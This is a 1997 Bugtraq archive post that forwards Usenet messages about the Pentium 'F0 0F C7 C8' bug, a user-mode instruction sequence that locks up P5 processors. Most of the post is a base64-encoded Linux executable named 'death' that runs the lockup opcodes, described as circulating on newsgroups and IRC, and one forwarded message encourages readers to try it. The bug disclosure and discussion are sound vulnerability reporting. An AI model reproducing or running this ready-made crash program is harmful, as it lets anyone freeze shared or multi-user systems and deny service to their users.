Bugtraq mailing list archives
WARNING: Linux Intel Pentium Bug
From: list () ZOMBIE NWS NET (ZombieMan)
Date: Fri, 7 Nov 1997 03:10:29 +0000
This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime () docserver cac washington edu for more info. --1091315987-1780054146-878872229=:269 Content-Type: TEXT/PLAIN; charset=US-ASCII This Program was distributed in the newsgroups and on irc so i thought i would post it here.... (prog attached)
From root () zombie nws net Fri Nov 7 03:05:43 1997
Date: Fri, 07 Nov 1997 03:04:25 +0000 From: "root of all evil (ZombieMan)" <root () zombie nws net> To: root@zombie Subject: [Fwd: This code will lock up any P5 machine, even usermode Linux! (F0 0F C7 C8)] [ Part 2: "Included Message" ] Date: 6 Nov 1997 21:53:13 -0800 From: Tim Smith <tzs () halcyon com> Newsgroups: comp.os.linux.advocacy, comp.sys.intel Subject: Re: This code will lock up any P5 machine, even usermode Linux! (F0 0F C7 C8) [Added comp.sys.intel] In article <3462ADCD.135B () noname com>, <noname () noname com> wrote:
Check this out. If you execute F0 0F C7 C8 on a P5 it will lock the machine up. This is true for any operating system including usermode Linux. It's pretty cool. Basically, the opcodes are an invalid form of cmpxchg8b eax with a lock prefix. Has anyone seen this before? The problem doesn't show itself for the Pentium Pro or Pentium 2.
Cool. It also works (sic) from V86 mode, so if you want to play around, just use DOS debug under whatever DOS emulator the OS you are using provides. Anyone try it on a Pentium MMX? --Tim Smith
From root () zombie nws net Fri Nov 7 03:05:48 1997
Date: Fri, 07 Nov 1997 03:04:41 +0000 From: "root of all evil (ZombieMan)" <root () zombie nws net> To: root@zombie Subject: [Fwd: This code will lock up any P5 machine, even usermode Linux! (F0 0F C7 C8)] [ Part 2: "Included Message" ] Date: Thu, 06 Nov 1997 21:57:33 -0800 From: noname () noname com Newsgroups: comp.os.linux.advocacy Subject: This code will lock up any P5 machine, even usermode Linux! (F0 0F C7 C8) Hi, Check this out. If you execute F0 0F C7 C8 on a P5 it will lock the machine up. This is true for any operating system including usermode Linux. It's pretty cool. Basically, the opcodes are an invalid form of cmpxchg8b eax with a lock prefix. Has anyone seen this before? The problem doesn't show itself for the Pentium Pro or Pentium 2.
From root () zombie nws net Fri Nov 7 03:05:53 1997
Date: Fri, 07 Nov 1997 03:04:57 +0000 From: "root of all evil (ZombieMan)" <root () zombie nws net> To: root@zombie Subject: [Fwd: F0 0F C7 C8 looks worse than FPIV] [ Part 2: "Included Message" ] Date: 7 Nov 1997 07:17:44 GMT From: Sam Trenholme <set-usenet-878887265 () reality samiam org> Newsgroups: comp.os.linux.advocacy, comp.sys.intel Subject: F0 0F C7 C8 looks worse than FPIV
Cool. It also works (sic) from V86 mode, so if you want to play around, just use DOS debug under whatever DOS emulator the OS you are using provides. Anyone try it on a Pentium MMX?
This bug looks far worse that FPIV. Intel will probably be forced to undergo an expensive recall, although I wonder just how Intel plans on getting the broken Pentium on my IBM thinkpad fixed. I like to let co-workers access my machine when it is hooked up to the network at work, and will have to now severely restrict any such access. - Sam --1091315987-1780054146-878872229=:269 Content-Type: APPLICATION/octet-stream; name=death Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.3.96.971107031029.269B () zombie nws net> Content-Description: f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIMECDQAAAAQBgAAAAAAADQAIAAF ACgAFAATAAYAAAA0AAAANIAECDSABAigAAAAoAAAAAUAAAAEAAAAAwAAANQA AADUgAQI1IAECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQISAQA AEgEAAAFAAAAABAAAAEAAABIBAAASJQECEiUBAi4AAAAvAAAAAYAAAAAEAAA AgAAAHgEAAB4lAQIeJQECIgAAACIAAAABgAAAAQAAAAvbGliL2xkLWxpbnV4 LnNvLjEAAAMAAAAQAAAADQAAAAsAAAAJAAAAAAAAAAAAAAAMAAAAAAAAAAAA AAAEAAAABQAAAAIAAAAHAAAADgAAAA8AAAAKAAAAAQAAAAMAAAAGAAAACAAA AAAAAAAAAAAAAAAAAAAAAAALAAAAeJQECAAAAAARAPH/FAAAAEiUBAgEAAAA EQALAB4AAAAAgwQIAAAAABIABwAkAAAAGIMECEYAAAASAAAAMAAAAEiUBAgE AAAAIAALADgAAAAAlQQIAgAAABEAEABGAAAAQIQECAAAAAASAAoATAAAACiD BAg0AAAAEgAAAFMAAABclAQIAAAAABEA8f9pAAAAOIMECIAAAAASAAAAbgAA AEiDBAg+AAAAEgAAAHkAAAA0hAQIAAAAABEA8f+AAAAAAJUECAAAAAARAPH/ hwAAAACVBAgAAAAAEQDx/5MAAAAElQQIAAAAABEA8f8AbGliYy5zby41AF9E WU5BTUlDAF9fZW52aXJvbgBfaW5pdABfX2xpYmNfaW5pdABlbnZpcm9uAF9f ZnB1X2NvbnRyb2wAX2ZpbmkAYXRleGl0AF9HTE9CQUxfT0ZGU0VUX1RBQkxF XwBleGl0AF9fc2V0ZnB1Y3cAX2V0ZXh0AF9lZGF0YQBfX2Jzc19zdGFydABf ZW5kAACVBAgFBgAAaJQECAcEAABslAQIBwgAAHCUBAgHCgAAdJQECAcLAAAA AAAA8A/HyADCAAD/NWCUBAj/JWSUBAgAAAAA/yVolAQIaAAAAADp4P////8l bJQECGgIAAAA6dD/////JXCUBAhoEAAAAOnA/////yV0lAQIaBgAAADpsP// /wAAAAAAAAAAWYnjieCJygHSAdIB0IPABDHtVVVVieVQU1G4iAAAALsAAAAA zYCLRCQIo0iUBAgPtwUAlQQIUOis////g8QE6HT///9oQIQECOh6////g8QE 6Er////oSQAAAFDod////1uNtCYAAAAAjbQmAAAAALgBAAAAzYDr9420JgAA AABTu1iUBAiDPViUBAgAdA2QiwP/0IPDBIM7AHX0W8ONNsOQkJBVieWD7AT/ RfzJw5BTu0yUBAiDPUyUBAj/dA2QiwP/0IPD/IM7/3X0W8ONNsOQkJAAAAAA AAAAAAAAAADom////8IAAAAAAAD/////AAAAAP////8AAAAAeJQECAAAAAAA AAAAHoMECC6DBAg+gwQIToMECAEAAAABAAAADAAAAACDBAgNAAAAQIQECAQA AADogAQIBQAAADyCBAgGAAAAPIEECAoAAACYAAAACwAAABAAAAAVAAAAAAAA AAMAAABclAQIAgAAACAAAAAUAAAAEQAAABcAAADcggQIEQAAANSCBAgSAAAA CAAAABMAAAAIAAAAAAAAAAAAAAAAR0NDOiAoR05VKSAyLjcuMi4xAABHQ0M6 IChHTlUpIDIuNy4yLjEAAEdDQzogKEdOVSkgMi43LjIuMQAIAAAAAAAAAAEA AAAwMS4wMQAAAAgAAAAAAAAAAQAAADAxLjAxAAAACAAAAAAAAAABAAAAMDEu MDEAAAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5oYXNo AC5keW5zeW0ALmR5bnN0cgAucmVsLmJzcwAucmVsLnBsdAAuaW5pdAAucGx0 AC50ZXh0AC5maW5pAC5kYXRhAC5jdG9ycwAuZHRvcnMALmdvdAAuZHluYW1p YwAuYnNzAC5jb21tZW50AC5ub3RlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAbAAAAAQAAAAIAAADUgAQI1AAAABMAAAAAAAAA AAAAAAEAAAAAAAAAIwAAAAUAAAACAAAA6IAECOgAAABUAAAAAwAAAAAAAAAE AAAABAAAACkAAAALAAAAAgAAADyBBAg8AQAAAAEAAAQAAAABAAAABAAAABAA AAAxAAAAAwAAAAIAAAA8ggQIPAIAAJgAAAAAAAAAAAAAAAEAAAAAAAAAOQAA AAkAAAACAAAA1IIECNQCAAAIAAAAAwAAABAAAAAEAAAACAAAAEIAAAAJAAAA AgAAANyCBAjcAgAAIAAAAAMAAAAIAAAABAAAAAgAAABLAAAAAQAAAAYAAAAA gwQIAAMAAAgAAAAAAAAAAAAAABAAAAAAAAAAUQAAAAEAAAAGAAAACIMECAgD AABQAAAAAAAAAAAAAAAEAAAABAAAAFYAAAABAAAABgAAAGCDBAhgAwAA1AAA AAAAAAAAAAAAEAAAAAAAAABcAAAAAQAAAAYAAABAhAQIQAQAAAgAAAAAAAAA AAAAABAAAAAAAAAAYgAAAAEAAAADAAAASJQECEgEAAAEAAAAAAAAAAAAAAAE AAAAAAAAAGgAAAABAAAAAwAAAEyUBAhMBAAACAAAAAAAAAAAAAAABAAAAAAA AABvAAAAAQAAAAMAAABUlAQIVAQAAAgAAAAAAAAAAAAAAAQAAAAAAAAAdgAA AAEAAAADAAAAXJQECFwEAAAcAAAAAAAAAAAAAAAEAAAABAAAAHsAAAAGAAAA AwAAAHiUBAh4BAAAiAAAAAQAAAAAAAAABAAAAAgAAACEAAAACAAAAAMAAAAA lQQIAAUAAAQAAAAAAAAAAAAAAAQAAAAAAAAAiQAAAAEAAAAAAAAAAAAAAAAF AAA8AAAAAAAAAAAAAAABAAAAAAAAAJIAAAAHAAAAAAAAADwAAAA8BQAAPAAA AAAAAAAAAAAAAQAAAAAAAAARAAAAAwAAAAAAAAAAAAAAeAUAAJgAAAAAAAAA AAAAAAEAAAAAAAAA --1091315987-1780054146-878872229=:269--
Current thread:
- WARNING: Linux Intel Pentium Bug ZombieMan (Nov 06)
- Re: WARNING: Linux Intel Pentium Bug Stefan Hudson (Nov 07)
- Re: WARNING: Linux Intel Pentium Bug whiz (Nov 07)
- Re: Intel Pentium Bug George Imburgia (Nov 07)
- Re: Intel Pentium Bug Kragen \ (Nov 07)
- Re: Intel Pentium Bug Chris Pascoe (Nov 07)
- Re: Intel Pentium Bug Stefan Hudson (Nov 07)
- Re: Intel Pentium Bug Aleph One (Nov 07)
- Re: Intel Pentium Bug Eric Allman (Nov 07)
- Re: Intel Pentium Bug Dean Gaudet (Nov 07)
- Re: Intel Pentium Bug Dean Gaudet (Nov 07)
- Re: WARNING: Linux Intel Pentium Bug Stefan Hudson (Nov 07)